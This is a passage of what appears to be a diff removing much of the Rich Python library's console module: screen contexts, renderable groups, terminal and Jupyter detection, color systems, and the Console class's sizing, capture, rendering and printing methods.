Optional renderable to replace current renderable, - or None for no change. Defaults to None. - style: (Style, optional): Replacement style, or None for no change. Defaults to None. - """ - if renderables: - self.screen.renderable = ( - Group(*renderables) if len(renderables) > 1 else renderables[0] - ) - if style is not None: - self.screen.style = style - self.console.print(self.screen, end="") - - def __enter__(self) -> "ScreenContext": - self._changed = self.console.set_alt_screen(True) - if self._changed and self.hide_cursor: - self.console.show_cursor(False) - return self - - def __exit__( - self, - exc_type: Optional[Type[BaseException]], - exc_val: Optional[BaseException], - exc_tb: Optional[TracebackType], - ) -> None: - if self._changed: - self.console.set_alt_screen(False) - if self.hide_cursor: - self.console.show_cursor(True) - - -class Group: - """Takes a group of renderables and returns a renderable object that renders the group. - - Args: - renderables (Iterable[RenderableType]): An iterable of renderable objects. - fit (bool, optional): Fit dimension of group to contents, or fill available space. Defaults to True. - """ - - def __init__(self, *renderables: "RenderableType", fit: bool = True) -> None: - self._renderables = renderables - self.fit = fit - self._render: Optional[List[RenderableType]] = None - - @property - def renderables(self) -> List["RenderableType"]: - if self._render is None: - self._render = list(self._renderables) - return self._render - - def __rich_measure__( - self, console: "Console", options: "ConsoleOptions" - ) -> "Measurement": - if self.fit: - return measure_renderables(console, options, self.renderables) - else: - return Measurement(options.max_width, options.max_width) - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> RenderResult: - yield from self.renderables - - -def group(fit: bool = True) -> Callable[..., Callable[..., Group]]: - """A decorator that turns an iterable of renderables in to a group. - - Args: - fit (bool, optional): Fit dimension of group to contents, or fill available space. Defaults to True. - """ - - def decorator( - method: Callable[..., Iterable[RenderableType]], - ) -> Callable[..., Group]: - """Convert a method that returns an iterable of renderables in to a Group.""" - - @wraps(method) - def _replace(*args: Any, **kwargs: Any) -> Group: - renderables = method(*args, **kwargs) - return Group(*renderables, fit=fit) - - return _replace - - return decorator - - -def _is_jupyter() -> bool: # pragma: no cover - """Check if we're running in a Jupyter notebook.""" - try: - get_ipython # type: ignore[name-defined] - except NameError: - return False - ipython = get_ipython() # type: ignore[name-defined] - shell = ipython.__class__.__name__ - if ( - "google.colab" in str(ipython.__class__) - or os.getenv("DATABRICKS_RUNTIME_VERSION") - or shell == "ZMQInteractiveShell" - ): - return True # Jupyter notebook or qtconsole - elif shell == "TerminalInteractiveShell": - return False # Terminal running IPython - else: - return False # Other type (?) - - -COLOR_SYSTEMS = { - "standard": ColorSystem.STANDARD, - "256": ColorSystem.EIGHT_BIT, - "truecolor": ColorSystem.TRUECOLOR, - "windows": ColorSystem.WINDOWS, -} - -_COLOR_SYSTEMS_NAMES = {system: name for name, system in COLOR_SYSTEMS.items()} - - -@dataclass -class ConsoleThreadLocals(threading.local): - """Thread local values for Console context.""" - - theme_stack: ThemeStack - buffer: List[Segment] = field(default_factory=list) - buffer_index: int = 0 - - -class RenderHook(ABC): - """Provides hooks in to the render process.""" - - @abstractmethod - def process_renderables( - self, renderables: List[ConsoleRenderable] - ) -> List[ConsoleRenderable]: - """Called with a list of objects to render. - - This method can return a new list of renderables, or modify and return the same list. - - Args: - renderables (List[ConsoleRenderable]): A number of renderable objects. - - Returns: - List[ConsoleRenderable]: A replacement list of renderables. - """ - - -_windows_console_features: Optional["WindowsConsoleFeatures"] = None - - -def get_windows_console_features() -> "WindowsConsoleFeatures": # pragma: no cover - global _windows_console_features - if _windows_console_features is not None: - return _windows_console_features - from ._windows import get_windows_console_features - - _windows_console_features = get_windows_console_features() - return _windows_console_features - - -def detect_legacy_windows() -> bool: - """Detect legacy Windows.""" - return WINDOWS and not get_windows_console_features().vt - - -class Console: - """A high level console interface. - - Args: - color_system (str, optional): The color system supported by your terminal, - either ``"standard"``, ``"256"`` or ``"truecolor"``. Leave as ``"auto"`` to autodetect. - force_terminal (Optional[bool], optional): Enable/disable terminal control codes, or None to auto-detect terminal. Defaults to None. - force_jupyter (Optional[bool], optional): Enable/disable Jupyter rendering, or None to auto-detect Jupyter. Defaults to None. - force_interactive (Optional[bool], optional): Enable/disable interactive mode, or None to auto detect. Defaults to None. - soft_wrap (Optional[bool], optional): Set soft wrap default on print method. Defaults to False. - theme (Theme, optional): An optional style theme object, or ``None`` for default theme. - stderr (bool, optional): Use stderr rather than stdout if ``file`` is not specified. Defaults to False. - file (IO, optional): A file object where the console should write to. Defaults to stdout. - quiet (bool, Optional): Boolean to suppress all output. Defaults to False. - width (int, optional): The width of the terminal. Leave as default to auto-detect width. - height (int, optional): The height of the terminal. Leave as default to auto-detect height. - style (StyleType, optional): Style to apply to all output, or None for no style. Defaults to None. - no_color (Optional[bool], optional): Enabled no color mode, or None to auto detect. Defaults to None. - tab_size (int, optional): Number of spaces used to replace a tab character. Defaults to 8. - record (bool, optional): Boolean to enable recording of terminal output, - required to call :meth:`export_html`, :meth:`export_svg`, and :meth:`export_text`. Defaults to False. - markup (bool, optional): Boolean to enable :ref:`console_markup`. Defaults to True. - emoji (bool, optional): Enable emoji code. Defaults to True. - emoji_variant (str, optional): Optional emoji variant, either "text" or "emoji". Defaults to None. - highlight (bool, optional): Enable automatic highlighting. Defaults to True. - log_time (bool, optional): Boolean to enable logging of time by :meth:`log` methods. Defaults to True. - log_path (bool, optional): Boolean to enable the logging of the caller by :meth:`log`. Defaults to True. - log_time_format (Union[str, TimeFormatterCallable], optional): If ``log_time`` is enabled, either string for strftime or callable that formats the time. Defaults to "[%X] ". - highlighter (HighlighterType, optional): Default highlighter. - legacy_windows (bool, optional): Enable legacy Windows mode, or ``None`` to auto detect. Defaults to ``None``. - safe_box (bool, optional): Restrict box options that don't render on legacy Windows. - get_datetime (Callable[[], datetime], optional): Callable that gets the current time as a datetime.datetime object (used by Console.log), - or None for datetime.now. - get_time (Callable[[], time], optional): Callable that gets the current time in seconds, default uses time.monotonic. - """ - - _environ: Mapping[str, str] = os.environ - - def __init__( - self, - *, - color_system: Optional[ - Literal["auto", "standard", "256", "truecolor", "windows"] - ] = "auto", - force_terminal: Optional[bool] = None, - force_jupyter: Optional[bool] = None, - force_interactive: Optional[bool] = None, - soft_wrap: bool = False, - theme: Optional[Theme] = None, - stderr: bool = False, - file: Optional[IO[str]] = None, - quiet: bool = False, - width: Optional[int] = None, - height: Optional[int] = None, - style: Optional[StyleType] = None, - no_color: Optional[bool] = None, - tab_size: int = 8, - record: bool = False, - markup: bool = True, - emoji: bool = True, - emoji_variant: Optional[EmojiVariant] = None, - highlight: bool = True, - log_time: bool = True, - log_path: bool = True, - log_time_format: Union[str, FormatTimeCallable] = "[%X]", - highlighter: Optional["HighlighterType"] = ReprHighlighter(), - legacy_windows: Optional[bool] = None, - safe_box: bool = True, - get_datetime: Optional[Callable[[], datetime]] = None, - get_time: Optional[Callable[[], float]] = None, - _environ: Optional[Mapping[str, str]] = None, - ): - # Copy of os.environ allows us to replace it for testing - if _environ is not None: - self._environ = _environ - - self.is_jupyter = _is_jupyter() if force_jupyter is None else force_jupyter - if self.is_jupyter: - if width is None: - jupyter_columns = self._environ.get("JUPYTER_COLUMNS") - if jupyter_columns is not None and jupyter_columns.isdigit(): - width = int(jupyter_columns) - else: - width = JUPYTER_DEFAULT_COLUMNS - if height is None: - jupyter_lines = self._environ.get("JUPYTER_LINES") - if jupyter_lines is not None and jupyter_lines.isdigit(): - height = int(jupyter_lines) - else: - height = JUPYTER_DEFAULT_LINES - - self.tab_size = tab_size - self.record = record - self._markup = markup - self._emoji = emoji - self._emoji_variant: Optional[EmojiVariant] = emoji_variant - self._highlight = highlight - self.legacy_windows: bool = ( - (detect_legacy_windows() and not self.is_jupyter) - if legacy_windows is None - else legacy_windows - ) - - if width is None: - columns = self._environ.get("COLUMNS") - if columns is not None and columns.isdigit(): - width = int(columns) - self.legacy_windows - if height is None: - lines = self._environ.get("LINES") - if lines is not None and lines.isdigit(): - height = int(lines) - - self.soft_wrap = soft_wrap - self._width = width - self._height = height - - self._color_system: Optional[ColorSystem] - - self._force_terminal = None - if force_terminal is not None: - self._force_terminal = force_terminal - - self._file = file - self.quiet = quiet - self.stderr = stderr - - if color_system is None: - self._color_system = None - elif color_system == "auto": - self._color_system = self._detect_color_system() - else: - self._color_system = COLOR_SYSTEMS[color_system] - - self._lock = threading.RLock() - self._log_render = LogRender( - show_time=log_time, - show_path=log_path, - time_format=log_time_format, - ) - self.highlighter: HighlighterType = highlighter or _null_highlighter - self.safe_box = safe_box - self.get_datetime = get_datetime or datetime.now - self.get_time = get_time or monotonic - self.style = style - self.no_color = ( - no_color - if no_color is not None - else self._environ.get("NO_COLOR", "") != "" - ) - if force_interactive is None: - tty_interactive = self._environ.get("TTY_INTERACTIVE", None) - if tty_interactive is not None: - if tty_interactive == "0": - force_interactive = False - elif tty_interactive == "1": - force_interactive = True - - self.is_interactive = ( - (self.is_terminal and not self.is_dumb_terminal) - if force_interactive is None - else force_interactive - ) - - self._record_buffer_lock = threading.RLock() - self._thread_locals = ConsoleThreadLocals( - theme_stack=ThemeStack(themes.DEFAULT if theme is None else theme) - ) - self._record_buffer: List[Segment] = [] - self._render_hooks: List[RenderHook] = [] - self._live_stack: List[Live] = [] - self._is_alt_screen = False - - def __repr__(self) -> str: - return f"" - - @property - def file(self) -> IO[str]: - """Get the file object to write to.""" - file = self._file or (sys.stderr if self.stderr else sys.stdout) - file = getattr(file, "rich_proxied_file", file) - if file is None: - file = NULL_FILE - return file - - @file.setter - def file(self, new_file: IO[str]) -> None: - """Set a new file object.""" - self._file = new_file - - @property - def _buffer(self) -> List[Segment]: - """Get a thread local buffer.""" - return self._thread_locals.buffer - - @property - def _buffer_index(self) -> int: - """Get a thread local buffer.""" - return self._thread_locals.buffer_index - - @_buffer_index.setter - def _buffer_index(self, value: int) -> None: - self._thread_locals.buffer_index = value - - @property - def _theme_stack(self) -> ThemeStack: - """Get the thread local theme stack.""" - return self._thread_locals.theme_stack - - def _detect_color_system(self) -> Optional[ColorSystem]: - """Detect color system from env vars.""" - if self.is_jupyter: - return ColorSystem.TRUECOLOR - if not self.is_terminal or self.is_dumb_terminal: - return None - if WINDOWS: # pragma: no cover - if self.legacy_windows: # pragma: no cover - return ColorSystem.WINDOWS - windows_console_features = get_windows_console_features() - return ( - ColorSystem.TRUECOLOR - if windows_console_features.truecolor - else ColorSystem.EIGHT_BIT - ) - else: - color_term = self._environ.get("COLORTERM", "").strip().lower() - if color_term in ("truecolor", "24bit"): - return ColorSystem.TRUECOLOR - term = self._environ.get("TERM", "").strip().lower() - _term_name, _hyphen, colors = term.rpartition("-") - color_system = _TERM_COLORS.get(colors, ColorSystem.STANDARD) - return color_system - - def _enter_buffer(self) -> None: - """Enter in to a buffer context, and buffer all output.""" - self._buffer_index += 1 - - def _exit_buffer(self) -> None: - """Leave buffer context, and render content if required.""" - self._buffer_index -= 1 - self._check_buffer() - - def set_live(self, live: "Live") -> bool: - """Set Live instance. Used by Live context manager (no need to call directly). - - Args: - live (Live): Live instance using this Console. - - Returns: - Boolean that indicates if the live is the topmost of the stack. - - Raises: - errors.LiveError: If this Console has a Live context currently active. - """ - with self._lock: - self._live_stack.append(live) - return len(self._live_stack) == 1 - - def clear_live(self) -> None: - """Clear the Live instance. Used by the Live context manager (no need to call directly).""" - with self._lock: - self._live_stack.pop() - - def push_render_hook(self, hook: RenderHook) -> None: - """Add a new render hook to the stack. - - Args: - hook (RenderHook): Render hook instance. - """ - with self._lock: - self._render_hooks.append(hook) - - def pop_render_hook(self) -> None: - """Pop the last renderhook from the stack.""" - with self._lock: - self._render_hooks.pop() - - def __enter__(self) -> "Console": - """Own context manager to enter buffer context.""" - self._enter_buffer() - return self - - def __exit__(self, exc_type: Any, exc_value: Any, traceback: Any) -> None: - """Exit buffer context.""" - self._exit_buffer() - - def begin_capture(self) -> None: - """Begin capturing console output. Call :meth:`end_capture` to exit capture mode and return output.""" - self._enter_buffer() - - def end_capture(self) -> str: - """End capture mode and return captured string. - - Returns: - str: Console output. - """ - render_result = self._render_buffer(self._buffer) - del self._buffer[:] - self._exit_buffer() - return render_result - - def push_theme(self, theme: Theme, *, inherit: bool = True) -> None: - """Push a new theme on to the top of the stack, replacing the styles from the previous theme. - Generally speaking, you should call :meth:`~rich.console.Console.use_theme` to get a context manager, rather - than calling this method directly. - - Args: - theme (Theme): A theme instance. - inherit (bool, optional): Inherit existing styles. Defaults to True. - """ - self._theme_stack.push_theme(theme, inherit=inherit) - - def pop_theme(self) -> None: - """Remove theme from top of stack, restoring previous theme.""" - self._theme_stack.pop_theme() - - def use_theme(self, theme: Theme, *, inherit: bool = True) -> ThemeContext: - """Use a different theme for the duration of the context manager. - - Args: - theme (Theme): Theme instance to user. - inherit (bool, optional): Inherit existing console styles. Defaults to True. - - Returns: - ThemeContext: [description] - """ - return ThemeContext(self, theme, inherit) - - @property - def color_system(self) -> Optional[str]: - """Get color system string. - - Returns: - Optional[str]: "standard", "256" or "truecolor". - """ - - if self._color_system is not None: - return _COLOR_SYSTEMS_NAMES[self._color_system] - else: - return None - - @property - def encoding(self) -> str: - """Get the encoding of the console file, e.g. ``"utf-8"``. - - Returns: - str: A standard encoding string. - """ - return (getattr(self.file, "encoding", "utf-8") or "utf-8").lower() - - @property - def is_terminal(self) -> bool: - """Check if the console is writing to a terminal. - - Returns: - bool: True if the console writing to a device capable of - understanding escape sequences, otherwise False. - """ - # If dev has explicitly set this value, return it - if self._force_terminal is not None: - return self._force_terminal - - # Fudge for Idle - if hasattr(sys.stdin, "__module__") and sys.stdin.__module__.startswith( - "idlelib" - ): - # Return False for Idle which claims to be a tty but can't handle ansi codes - return False - - if self.is_jupyter: - # return False for Jupyter, which may have FORCE_COLOR set - return False - - environ = self._environ - - tty_compatible = environ.get("TTY_COMPATIBLE", "") - # 0 indicates device is not tty compatible - if tty_compatible == "0": - return False - # 1 indicates device is tty compatible - if tty_compatible == "1": - return True - - # https://force-color.org/ - force_color = environ.get("FORCE_COLOR") - if force_color is not None: - return force_color != "" - - # Any other value defaults to auto detect - isatty: Optional[Callable[[], bool]] = getattr(self.file, "isatty", None) - try: - return False if isatty is None else isatty() - except ValueError: - # in some situation (at the end of a pytest run for example) isatty() can raise - # ValueError: I/O operation on closed file - # return False because we aren't in a terminal anymore - return False - - @property - def is_dumb_terminal(self) -> bool: - """Detect dumb terminal. - - Returns: - bool: True if writing to a dumb terminal, otherwise False. - - """ - _term = self._environ.get("TERM", "") - is_dumb = _term.lower() in ("dumb", "unknown") - return self.is_terminal and is_dumb - - @property - def options(self) -> ConsoleOptions: - """Get default console options.""" - size = self.size - return ConsoleOptions( - max_height=size.height, - size=size, - legacy_windows=self.legacy_windows, - min_width=1, - max_width=size.width, - encoding=self.encoding, - is_terminal=self.is_terminal, - ) - - @property - def size(self) -> ConsoleDimensions: - """Get the size of the console. - - Returns: - ConsoleDimensions: A named tuple containing the dimensions. - """ - - if self._width is not None and self._height is not None: - return ConsoleDimensions(self._width - self.legacy_windows, self._height) - - if self.is_dumb_terminal: - return ConsoleDimensions(80, 25) - - width: Optional[int] = None - height: Optional[int] = None - - streams = _STD_STREAMS_OUTPUT if WINDOWS else _STD_STREAMS - for file_descriptor in streams: - try: - width, height = os.get_terminal_size(file_descriptor) - except (AttributeError, ValueError, OSError): # Probably not a terminal - pass - else: - break - - columns = self._environ.get("COLUMNS") - if columns is not None and columns.isdigit(): - width = int(columns) - lines = self._environ.get("LINES") - if lines is not None and lines.isdigit(): - height = int(lines) - - # get_terminal_size can report 0, 0 if run from pseudo-terminal - width = width or 80 - height = height or 25 - return ConsoleDimensions( - width - self.legacy_windows if self._width is None else self._width, - height if self._height is None else self._height, - ) - - @size.setter - def size(self, new_size: Tuple[int, int]) -> None: - """Set a new size for the terminal. - - Args: - new_size (Tuple[int, int]): New width and height. - """ - width, height = new_size - self._width = width - self._height = height - - @property - def width(self) -> int: - """Get the width of the console. - - Returns: - int: The width (in characters) of the console. - """ - return self.size.width - - @width.setter - def width(self, width: int) -> None: - """Set width. - - Args: - width (int): New width. - """ - self._width = width - - @property - def height(self) -> int: - """Get the height of the console. - - Returns: - int: The height (in lines) of the console. - """ - return self.size.height - - @height.setter - def height(self, height: int) -> None: - """Set height. - - Args: - height (int): new height. - """ - self._height = height - - def bell(self) -> None: - """Play a 'bell' sound (if supported by the terminal).""" - self.control(Control.bell()) - - def capture(self) -> Capture: - """A context manager to *capture* the result of print() or log() in a string, - rather than writing it to the console. - - Example: - >>> from rich.console import Console - >>> console = Console() - >>> with console.capture() as capture: - ... console.print("[bold magenta]Hello World[/]") - >>> print(capture.get()) - - Returns: - Capture: Context manager with disables writing to the terminal. - """ - capture = Capture(self) - return capture - - def pager( - self, pager: Optional[Pager] = None, styles: bool = False, links: bool = False - ) -> PagerContext: - """A context manager to display anything printed within a "pager". The pager application - is defined by the system and will typically support at least pressing a key to scroll. - - Args: - pager (Pager, optional): A pager object, or None to use :class:`~rich.pager.SystemPager`. Defaults to None. - styles (bool, optional): Show styles in pager. Defaults to False. - links (bool, optional): Show links in pager. Defaults to False. - - Example: - >>> from rich.console import Console - >>> from rich.__main__ import make_test_card - >>> console = Console() - >>> with console.pager(): - console.print(make_test_card()) - - Returns: - PagerContext: A context manager. - """ - return PagerContext(self, pager=pager, styles=styles, links=links) - - def line(self, count: int = 1) -> None: - """Write new line(s). - - Args: - count (int, optional): Number of new lines. Defaults to 1. - """ - - assert count >= 0, "count must be >= 0" - self.print(NewLine(count)) - - def clear(self, home: bool = True) -> None: - """Clear the screen. - - Args: - home (bool, optional): Also move the cursor to 'home' position. Defaults to True. - """ - if home: - self.control(Control.clear(), Control.home()) - else: - self.control(Control.clear()) - - def status( - self, - status: RenderableType, - *, - spinner: str = "dots", - spinner_style: StyleType = "status.spinner", - speed: float = 1.0, - refresh_per_second: float = 12.5, - ) -> "Status": - """Display a status and spinner. - - Args: - status (RenderableType): A status renderable (str or Text typically). - spinner (str, optional): Name of spinner animation (see python -m rich.spinner). Defaults to "dots". - spinner_style (StyleType, optional): Style of spinner. Defaults to "status.spinner". - speed (float, optional): Speed factor for spinner animation. Defaults to 1.0. - refresh_per_second (float, optional): Number of refreshes per second. Defaults to 12.5. - - Returns: - Status: A Status object that may be used as a context manager. - """ - from .status import Status - - status_renderable = Status( - status, - console=self, - spinner=spinner, - spinner_style=spinner_style, - speed=speed, - refresh_per_second=refresh_per_second, - ) - return status_renderable - - def show_cursor(self, show: bool = True) -> bool: - """Show or hide the cursor. - - Args: - show (bool, optional): Set visibility of the cursor. - """ - if self.is_terminal: - self.control(Control.show_cursor(show)) - return True - return False - - def set_alt_screen(self, enable: bool = True) -> bool: - """Enables alternative screen mode. - - Note, if you enable this mode, you should ensure that is disabled before - the application exits. See :meth:`~rich.Console.screen` for a context manager - that handles this for you. - - Args: - enable (bool, optional): Enable (True) or disable (False) alternate screen. Defaults to True. - - Returns: - bool: True if the control codes were written. - - """ - changed = False - if self.is_terminal and not self.legacy_windows: - self.control(Control.alt_screen(enable)) - changed = True - self._is_alt_screen = enable - return changed - - @property - def is_alt_screen(self) -> bool: - """Check if the alt screen was enabled. - - Returns: - bool: True if the alt screen was enabled, otherwise False. - """ - return self._is_alt_screen - - def set_window_title(self, title: str) -> bool: - """Set the title of the console terminal window. - - Warning: There is no means within Rich of "resetting" the window title to its - previous value, meaning the title you set will persist even after your application - exits. - - ``fish`` shell resets the window title before and after each command by default, - negating this issue. Windows Terminal and command prompt will also reset the title for you. - Most other shells and terminals, however, do not do this. - - Some terminals may require configuration changes before you can set the title. - Some terminals may not support setting the title at all. - - Other software (including the terminal itself, the shell, custom prompts, plugins, etc.) - may also set the terminal window title. This could result in whatever value you write - using this method being overwritten. - - Args: - title (str): The new title of the terminal window. - - Returns: - bool: True if the control code to change the terminal title was - written, otherwise False. Note that a return value of True - does not guarantee that the window title has actually changed, - since the feature may be unsupported/disabled in some terminals. - """ - if self.is_terminal: - self.control(Control.title(title)) - return True - return False - - def screen( - self, hide_cursor: bool = True, style: Optional[StyleType] = None - ) -> "ScreenContext": - """Context manager to enable and disable 'alternative screen' mode. - - Args: - hide_cursor (bool, optional): Also hide the cursor. Defaults to False. - style (Style, optional): Optional style for screen. Defaults to None. - - Returns: - ~ScreenContext: Context which enables alternate screen on enter, and disables it on exit. - """ - return ScreenContext(self, hide_cursor=hide_cursor, style=style or "") - - def measure( - self, renderable: RenderableType, *, options: Optional[ConsoleOptions] = None - ) -> Measurement: - """Measure a renderable. Returns a :class:`~rich.measure.Measurement` object which contains - information regarding the number of characters required to print the renderable. - - Args: - renderable (RenderableType): Any renderable or string. - options (Optional[ConsoleOptions], optional): Options to use when measuring, or None - to use default options. Defaults to None. - - Returns: - Measurement: A measurement of the renderable. - """ - measurement = Measurement.get(self, options or self.options, renderable) - return measurement - - def render( - self, renderable: RenderableType, options: Optional[ConsoleOptions] = None - ) -> Iterable[Segment]: - """Render an object in to an iterable of `Segment` instances. - - This method contains the logic for rendering objects with the console protocol. - You are unlikely to need to use it directly, unless you are extending the library. - - Args: - renderable (RenderableType): An object supporting the console protocol, or - an object that may be converted to a string. - options (ConsoleOptions, optional): An options object, or None to use self.options. Defaults to None. - - Returns: - Iterable[Segment]: An iterable of segments that may be rendered. - """ - - _options = options or self.options - if _options.max_width < 1: - # No space to render anything. This prevents potential recursion errors. - return - render_iterable: RenderResult - - renderable = rich_cast(renderable) - if hasattr(renderable, "__rich_console__") and not isclass(renderable): - render_iterable = renderable.__rich_console__(self, _options) - elif isinstance(renderable, str): - text_renderable = self.render_str( - renderable, highlight=_options.highlight, markup=_options.markup - ) - render_iterable = text_renderable.__rich_console__(self, _options) - else: - raise errors.NotRenderableError( - f"Unable to render {renderable!r}; " - "A str, Segment or object with __rich_console__ method is required" - ) - - try: - iter_render = iter(render_iterable) - except TypeError: - raise errors.NotRenderableError( - f"object {render_iterable!r} is not renderable" - ) - _Segment = Segment - _options = _options.reset_height() - for render_output in iter_render: - if isinstance(render_output, _Segment): - yield render_output - else: - yield from self.render(render_output, _options) - - def render_lines( - self, - renderable: RenderableType, - options: Optional[ConsoleOptions] = None, - *, - style: Optional[Style] = None, - pad: bool = True, - new_lines: bool = False, - ) -> List[List[Segment]]: - """Render objects in to a list of lines. - - The output of render_lines is useful when further formatting of rendered console text - is required, such as the Panel class which draws a border around any renderable object. - - Args: - renderable (RenderableType): Any object renderable in the console. - options (Optional[ConsoleOptions], optional): Console options, or None to use self.options. Default to ``None``. - style (Style, optional): Optional style to apply to renderables. Defaults to ``None``. - pad (bool, optional): Pad lines shorter than render width. Defaults to ``True``. - new_lines (bool, optional): Include "\n" characters at end of lines. - - Returns: - List[List[Segment]]: A list of lines, where a line is a list of Segment objects. - """ - with self._lock: - render_options = options or self.options - _rendered = self.render(renderable, render_options) - if style: - _rendered = Segment.apply_style(_rendered, style) - - render_height = render_options.height - if render_height is not None: - render_height = max(0, render_height) - - lines = list( - islice( - Segment.split_and_crop_lines( - _rendered, - render_options.max_width, - include_new_lines=new_lines, - pad=pad, - style=style, - ), - None, - render_height, - ) - ) - if render_options.height is not None: - extra_lines = render_options.height - len(lines) - if extra_lines > 0: - pad_line = [ - ( - [ - Segment(" " * render_options.max_width, style), - Segment("\n"), - ] - if new_lines - else [Segment(" " * render_options.max_width, style)] - ) - ] - lines.extend(pad_line * extra_lines) - - return lines - - def render_str( - self, - text: str, - *, - style: Union[str, Style] = "", - justify: Optional[JustifyMethod] = None, - overflow: Optional[OverflowMethod] = None, - emoji: Optional[bool] = None, - markup: Optional[bool] = None, - highlight: Optional[bool] = None, - highlighter: Optional[HighlighterType] = None, - ) -> "Text": - """Convert a string to a Text instance. This is called automatically if - you print or log a string. - - Args: - text (str): Text to render. - style (Union[str, Style], optional): Style to apply to rendered text. - justify (str, optional): Justify method: "default", "left", "center", "full", or "right". Defaults to ``None``. - overflow (str, optional): Overflow method: "crop", "fold", or "ellipsis". Defaults to ``None``. - emoji (Optional[bool], optional): Enable emoji, or ``None`` to use Console default. - markup (Optional[bool], optional): Enable markup, or ``None`` to use Console default. - highlight (Optional[bool], optional): Enable highlighting, or ``None`` to use Console default. - highlighter (HighlighterType, optional): Optional highlighter to apply. - Returns: - ConsoleRenderable: Renderable object. - - """ - emoji_enabled = emoji or (emoji is None and self._emoji) - markup_enabled = markup or (markup is None and self._markup) - highlight_enabled = highlight or (highlight is None and self._highlight) - - if markup_enabled: - rich_text = render_markup( - text, - style=style, - emoji=emoji_enabled, - emoji_variant=self._emoji_variant, - ) - rich_text.justify = justify - rich_text.overflow = overflow - else: - rich_text = Text( - ( - _emoji_replace(text, default_variant=self._emoji_variant) - if emoji_enabled - else text - ), - justify=justify, - overflow=overflow, - style=style, - ) - - _highlighter = (highlighter or self.highlighter) if highlight_enabled else None - if _highlighter is not None: - highlight_text = _highlighter(str(rich_text)) - highlight_text.copy_styles(rich_text) - return highlight_text - - return rich_text - - def get_style( - self, name: Union[str, Style], *, default: Optional[Union[Style, str]] = None - ) -> Style: - """Get a Style instance by its theme name or parse a definition. - - Args: - name (str): The name of a style or a style definition. - - Returns: - Style: A Style object. - - Raises: - MissingStyle: If no style could be parsed from name. - - """ - if isinstance(name, Style): - return name - - try: - style = self._theme_stack.get(name) - if style is None: - style = Style.parse(name) - return style.copy() if style.link else style - except errors.StyleSyntaxError as error: - if default is not None: - return self.get_style(default) - raise errors.MissingStyle( - f"Failed to get style {name!r}; {error}" - ) from None - - def _collect_renderables( - self, - objects: Iterable[Any], - sep: str, - end: str, - *, - justify: Optional[JustifyMethod] = None, - emoji: Optional[bool] = None, - markup: Optional[bool] = None, - highlight: Optional[bool] = None, - ) -> List[ConsoleRenderable]: - """Combine a number of renderables and text into one renderable. - - Args: - objects (Iterable[Any]): Anything that Rich can render. - sep (str): String to write between print data. - end (str): String to write at end of print data. - justify (str, optional): One of "left", "right", "center", or "full". Defaults to ``None``. - emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. - markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. - highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. - - Returns: - List[ConsoleRenderable]: A list of things to render. - """ - renderables: List[ConsoleRenderable] = [] - _append = renderables.append - text: List[Text] = [] - append_text = text.append - - append = _append - if justify in ("left", "center", "right"): - - def align_append(renderable: RenderableType) -> None: - _append(Align(renderable, cast(AlignMethod, justify))) - - append = align_append - - _highlighter: HighlighterType = _null_highlighter - if highlight or (highlight is None and self._highlight): - _highlighter = self.highlighter - - def check_text() -> None: - if text: - sep_text = Text(sep, justify=justify, end=end) - append(sep_text.join(text)) - text.clear() - - for renderable in objects: - renderable = rich_cast(renderable) - if isinstance(renderable, str): - append_text( - self.render_str( - renderable, - emoji=emoji, - markup=markup, - highlight=highlight, - highlighter=_highlighter, - ) - ) - elif isinstance(renderable, Text): - append_text(renderable) - elif isinstance(renderable, ConsoleRenderable): - check_text() - append(renderable) - elif is_expandable(renderable): - check_text() - append(Pretty(renderable, highlighter=_highlighter)) - else: - append_text(_highlighter(str(renderable))) - - check_text() - - if self.style is not None: - style = self.get_style(self.style) - renderables = [Styled(renderable, style) for renderable in renderables] - - return renderables - - def rule( - self, - title: TextType = "", - *, - characters: str = "─", - style: Union[str, Style] = "rule.line", - align: AlignMethod = "center", - ) -> None: - """Draw a line with optional centered title. - - Args: - title (str, optional): Text to render over the rule. Defaults to "". - characters (str, optional): Character(s) to form the line. Defaults to "─". - style (str, optional): Style of line. Defaults to "rule.line". - align (str, optional): How to align the title, one of "left", "center", or "right". Defaults to "center". - """ - from .rule import Rule - - rule = Rule(title=title, characters=characters, style=style, align=align) - self.print(rule) - - def control(self, *control: Control) -> None: - """Insert non-printing control codes. - - Args: - control_codes (str): Control codes, such as those that may move the cursor. - """ - if not self.is_dumb_terminal: - with self: - self._buffer.extend(_control.segment for _control in control) - - def out( - self, - *objects: Any, - sep: str = " ", - end: str = "\n", - style: Optional[Union[str, Style]] = None, - highlight: Optional[bool] = None, - ) -> None: - """Output to the terminal. This is a low-level way of writing to the terminal which unlike - :meth:`~rich.console.Console.print` won't pretty print, wrap text, or apply markup, but will - optionally apply highlighting and a basic style. - - Args: - sep (str, optional): String to write between print data. Defaults to " ". - end (str, optional): String to write at end of print data. Defaults to "\\\\n". - style (Union[str, Style], optional): A style to apply to output. Defaults to None. - highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use - console default. Defaults to ``None``. - """ - raw_output: str = sep.join(str(_object) for _object in objects) - self.print( - raw_output, - style=style, - highlight=highlight, - emoji=False, - markup=False, - no_wrap=True, - overflow="ignore", - crop=False, - end=end, - ) - - def print( - self, - *objects: Any, - sep: str = " ", - end: str = "\n", - style: Optional[Union[str, Style]] = None, - justify: Optional[JustifyMethod] = None, - overflow: Optional[OverflowMethod] = None, - no_wrap: Optional[bool] = None, - emoji: Optional[bool] = None, - markup: Optional[bool] = None, - highlight: Optional[bool] = None, - width: Optional[int] = None, - height: Optional[int] = None, - crop: bool = True, - soft_wrap: Optional[bool] = None, - new_line_start: bool = False, - ) -> None: - """Print to the console. - - Args: - objects (positional args): Objects to log to the terminal. - sep (str, optional): String to write between print data. Defaults to " ". - end (str, optional): String to write at end of print data. Defaults to "\\\\n". - style (Union[str, Style], optional): A style to apply to output. Defaults to None. - justify (str, optional): Justify method: "default", "left", "right", "center", or "full". Defaults to ``None``. - overflow (str, optional): Overflow method: "ignore", "crop", "fold", or "ellipsis". Defaults to None. - no_wrap (Optional[bool], optional): Disable word wrapping. Defaults to None. - emoji (Optional[bool], optional): Enable emoji code, or ``None`` to use console default. Defaults to ``None``. - markup (Optional[bool], optional): Enable markup, or ``None`` to use console default. Defaults to ``None``. - highlight (Optional[bool], optional): Enable automatic highlighting, or ``None`` to use console default. Defaults to ``None``. - width (Optional[int], optional): Width of output, or ``None`` to auto-detect. Defaults to ``None``. - crop 